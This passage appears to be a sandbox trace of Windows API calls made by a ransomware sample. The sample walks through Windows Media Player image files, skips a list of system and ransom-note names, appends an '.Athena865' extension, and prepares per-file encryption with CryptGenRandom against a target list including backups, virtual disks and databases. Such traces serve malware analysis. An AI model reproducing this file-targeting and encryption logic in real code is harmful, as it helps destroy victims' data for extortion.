sharing\\wmpnss_bw48.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.173] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10912) returned 1 [0091.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.174] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.174] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.174] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.175] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2da0, lpName=0x0) returned 0x154 [0091.176] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2da0) returned 0x100000 [0091.177] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.178] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.178] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0091.178] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0091.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0091.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.178] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.178] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.178] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.178] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.178] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0091.178] CloseHandle (hObject=0x154) returned 1 [0091.178] CloseHandle (hObject=0x17c) returned 1 [0091.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0091.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0091.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0091.179] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3fdea9, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3fdea9, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x101c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpnss_bw48.png", cAlternateFileName="")) returned 1 [0091.179] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0091.179] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.179] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2=".") returned 1 [0091.179] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="..") returned 1 [0091.179] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="windows") returned 1 [0091.179] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="bootmgr") returned 1 [0091.179] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="temp") returned 1 [0091.179] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="pagefile.sys") returned 1 [0091.179] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="boot") returned 1 [0091.179] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="ids.txt") returned 1 [0091.179] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="ntuser.dat") returned 1 [0091.179] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="perflogs") returned 1 [0091.179] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="MSBuild") returned 1 [0091.179] lstrlenW (lpString="wmpnss_bw48.png") returned 15 [0091.179] lstrcpyW (in: lpString1=0x241e8b4, lpString2="wmpnss_bw48.png" | out: lpString1="wmpnss_bw48.png") returned="wmpnss_bw48.png" [0091.179] lstrlenW (lpString="wmpnss_bw48.png") returned 15 [0091.179] lstrlenW (lpString="Athena865") returned 9 [0091.179] lstrcmpiW (lpString1="_bw48.png", lpString2="Athena865") returned -1 [0091.179] lstrlenW (lpString=".dll") returned 4 [0091.179] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2=".dll") returned 1 [0091.179] lstrlenW (lpString=".lnk") returned 4 [0091.180] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2=".lnk") returned 1 [0091.180] lstrlenW (lpString=".ini") returned 4 [0091.180] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2=".ini") returned 1 [0091.180] lstrlenW (lpString=".sys") returned 4 [0091.180] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2=".sys") returned 1 [0091.180] lstrlenW (lpString="wmpnss_bw48.png") returned 15 [0091.180] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.png.Athena865") returned 79 [0091.180] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.png"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.png.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.png.athena865"), dwFlags=0x1) returned 1 [0091.181] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.png.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.181] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4124) returned 1 [0091.181] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.182] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.182] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.182] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.182] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.182] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.183] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1320, lpName=0x0) returned 0x154 [0091.184] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1320) returned 0x100000 [0091.185] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.186] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.186] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.186] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0091.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0091.186] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0091.186] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.186] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.186] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.186] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0091.186] CloseHandle (hObject=0x154) returned 1 [0091.186] CloseHandle (hObject=0x17c) returned 1 [0091.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0091.187] lstrcpyW (in: lpString1=0x241e8b4, lpString2="wmpnss_color120.jpg" | out: lpString1="wmpnss_color120.jpg") returned="wmpnss_color120.jpg" [0091.187] lstrlenW (lpString="wmpnss_color120.jpg") returned 19 [0091.187] lstrlenW (lpString="Athena865") returned 9 [0091.187] lstrcmpiW (lpString1="or120.jpg", lpString2="Athena865") returned 1 [0091.187] lstrlenW (lpString=".dll") returned 4 [0091.187] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2=".dll") returned 1 [0091.187] lstrlenW (lpString=".lnk") returned 4 [0091.187] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2=".lnk") returned 1 [0091.187] lstrlenW (lpString=".ini") returned 4 [0091.187] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2=".ini") returned 1 [0091.187] lstrlenW (lpString=".sys") returned 4 [0091.187] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2=".sys") returned 1 [0091.187] lstrlenW (lpString="wmpnss_color120.jpg") returned 19 [0091.187] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.jpg.Athena865") returned 83 [0091.188] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color120.jpg"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.jpg.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color120.jpg.athena865"), dwFlags=0x1) returned 1 [0091.188] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.jpg.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color120.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.188] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=22408) returned 1 [0091.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.189] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.189] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.189] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.190] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a90, lpName=0x0) returned 0x154 [0091.191] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a90) returned 0x100000 [0091.192] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.193] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.193] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.193] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0091.195] lstrcpyW (in: lpString1=0x241e8b4, lpString2="wmpnss_color120.png" | out: lpString1="wmpnss_color120.png") returned="wmpnss_color120.png" [0091.195] lstrlenW (lpString="wmpnss_color120.png") returned 19 [0091.195] lstrlenW (lpString="Athena865") returned 9 [0091.195] lstrcmpiW (lpString1="or120.png", lpString2="Athena865") returned 1 [0091.195] lstrlenW (lpString=".dll") returned 4 [0091.195] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2=".dll") returned 1 [0091.195] lstrlenW (lpString=".lnk") returned 4 [0091.195] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2=".lnk") returned 1 [0091.195] lstrlenW (lpString=".ini") returned 4 [0091.195] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2=".ini") returned 1 [0091.195] lstrlenW (lpString=".sys") returned 4 [0091.195] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2=".sys") returned 1 [0091.195] lstrlenW (lpString="wmpnss_color120.png") returned 19 [0091.195] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.png.Athena865") returned 83 [0091.195] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color120.png"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.png.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color120.png.athena865"), dwFlags=0x1) returned 1 [0091.196] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.png.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color120.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.196] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12107) returned 1 [0091.196] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.196] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.196] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.196] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.197] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.197] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.197] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3250, lpName=0x0) returned 0x154 [0091.199] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3250) returned 0x100000 [0091.200] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.200] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.200] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0091.201] lstrcpyW (in: lpString1=0x241e8b4, lpString2="wmpnss_color32.bmp" | out: lpString1="wmpnss_color32.bmp") returned="wmpnss_color32.bmp" [0091.201] lstrlenW (lpString="wmpnss_color32.bmp") returned 18 [0091.201] lstrlenW (lpString="Athena865") returned 9 [0091.201] lstrcmpiW (lpString1="lor32.bmp", lpString2="Athena865") returned 1 [0091.201] lstrlenW (lpString=".dll") returned 4 [0091.201] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2=".dll") returned 1 [0091.201] lstrlenW (lpString=".lnk") returned 4 [0091.201] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2=".lnk") returned 1 [0091.202] lstrlenW (lpString=".ini") returned 4 [0091.202] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2=".ini") returned 1 [0091.202] lstrlenW (lpString=".sys") returned 4 [0091.202] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2=".sys") returned 1 [0091.202] lstrlenW (lpString="wmpnss_color32.bmp") returned 18 [0091.202] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.bmp.Athena865") returned 82 [0091.202] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color32.bmp"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.bmp.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color32.bmp.athena865"), dwFlags=0x1) returned 1 [0091.202] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.bmp.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color32.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.203] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3128) returned 1 [0091.203] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.203] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.203] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.203] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.204] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.204] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.204] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf40, lpName=0x0) returned 0x154 [0091.208] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf40) returned 0x100000 [0091.208] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.209] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.209] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.209] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0091.209] lstrcpyW (in: lpString1=0x241e8b4, lpString2="wmpnss_color32.jpg" | out: lpString1="wmpnss_color32.jpg") returned="wmpnss_color32.jpg" [0091.210] lstrlenW (lpString="wmpnss_color32.jpg") returned 18 [0091.210] lstrlenW (lpString="Athena865") returned 9 [0091.210] lstrcmpiW (lpString1="lor32.jpg", lpString2="Athena865") returned 1 [0091.210] lstrlenW (lpString=".dll") returned 4 [0091.210] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2=".dll") returned 1 [0091.210] lstrlenW (lpString=".lnk") returned 4 [0091.210] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2=".lnk") returned 1 [0091.210] lstrlenW (lpString=".ini") returned 4 [0091.210] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2=".ini") returned 1 [0091.210] lstrlenW (lpString=".sys") returned 4 [0091.210] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2=".sys") returned 1 [0091.210] lstrlenW (lpString="wmpnss_color32.jpg") returned 18 [0091.210] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.jpg.Athena865") returned 82 [0091.210] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color32.jpg"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.jpg.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color32.jpg.athena865"), dwFlags=0x1) returned 1 [0091.211] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.jpg.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color32.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.211] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9421) returned 1 [0091.212] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.212] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.212] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.212] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.212] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.212] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.213] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x27d0, lpName=0x0) returned 0x154 [0091.214] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x27d0) returned 0x100000 [0091.215] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.216] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.216] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.216] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0091.216] lstrcpyW (in: lpString1=0x241e8b4, lpString2="wmpnss_color48.bmp" | out: lpString1="wmpnss_color48.bmp") returned="wmpnss_color48.bmp" [0091.216] lstrlenW (lpString="wmpnss_color48.bmp") returned 18 [0091.216] lstrlenW (lpString="Athena865") returned 9 [0091.217] lstrcmpiW (lpString1="lor48.bmp", lpString2="Athena865") returned 1 [0091.217] lstrlenW (lpString=".dll") returned 4 [0091.217] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2=".dll") returned 1 [0091.217] lstrlenW (lpString=".lnk") returned 4 [0091.217] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2=".lnk") returned 1 [0091.217] lstrlenW (lpString=".ini") returned 4 [0091.217] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2=".ini") returned 1 [0091.217] lstrlenW (lpString=".sys") returned 4 [0091.217] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2=".sys") returned 1 [0091.217] lstrlenW (lpString="wmpnss_color48.bmp") returned 18 [0091.217] lstrlenW (lpString="bak") returned 3 [0091.217] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1 [0091.217] lstrlenW (lpString="ba_") returned 3 [0091.217] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1 [0091.217] lstrlenW (lpString="dbb") returned 3 [0091.217] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1 [0091.217] lstrlenW (lpString="vmdk") returned 4 [0091.217] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1 [0091.217] lstrlenW (lpString="rar") returned 3 [0091.217] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1 [0091.217] lstrlenW (lpString="zip") returned 3 [0091.217] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1 [0091.217] lstrlenW (lpString="tgz") returned 3 [0091.217] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1 [0091.217] lstrlenW (lpString="vbox") returned 4 [0091.217] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1 [0091.217] lstrlenW (lpString="vdi") returned 3 [0091.217] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1 [0091.217] lstrlenW (lpString="vhd") returned 3 [0091.217] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1 [0091.217] lstrlenW (lpString="vhdx") returned 4 [0091.217] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1 [0091.218] lstrlenW (lpString="avhd") returned 4 [0091.218] lstrcmpiW (lpString1=".bmp", lpString2="avhd") returned -1 [0091.218] lstrlenW (lpString="db") returned 2 [0091.218] lstrcmpiW (lpString1="mp", lpString2="db") returned 1 [0091.218] lstrlenW (lpString="db2") returned 3 [0091.218] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1 [0091.218] lstrlenW (lpString="db3") returned 3 [0091.218] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1 [0091.218] lstrlenW (lpString="dbf") returned 3 [0091.218] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1 [0091.218] lstrlenW (lpString="mdf") returned 3 [0091.218] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1 [0091.218] lstrlenW (lpString="mdb") returned 3 [0091.218] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1 [0091.218] lstrlenW (lpString="sql") returned 3 [0091.218] lstrcmpiW (lpString1="bmp", 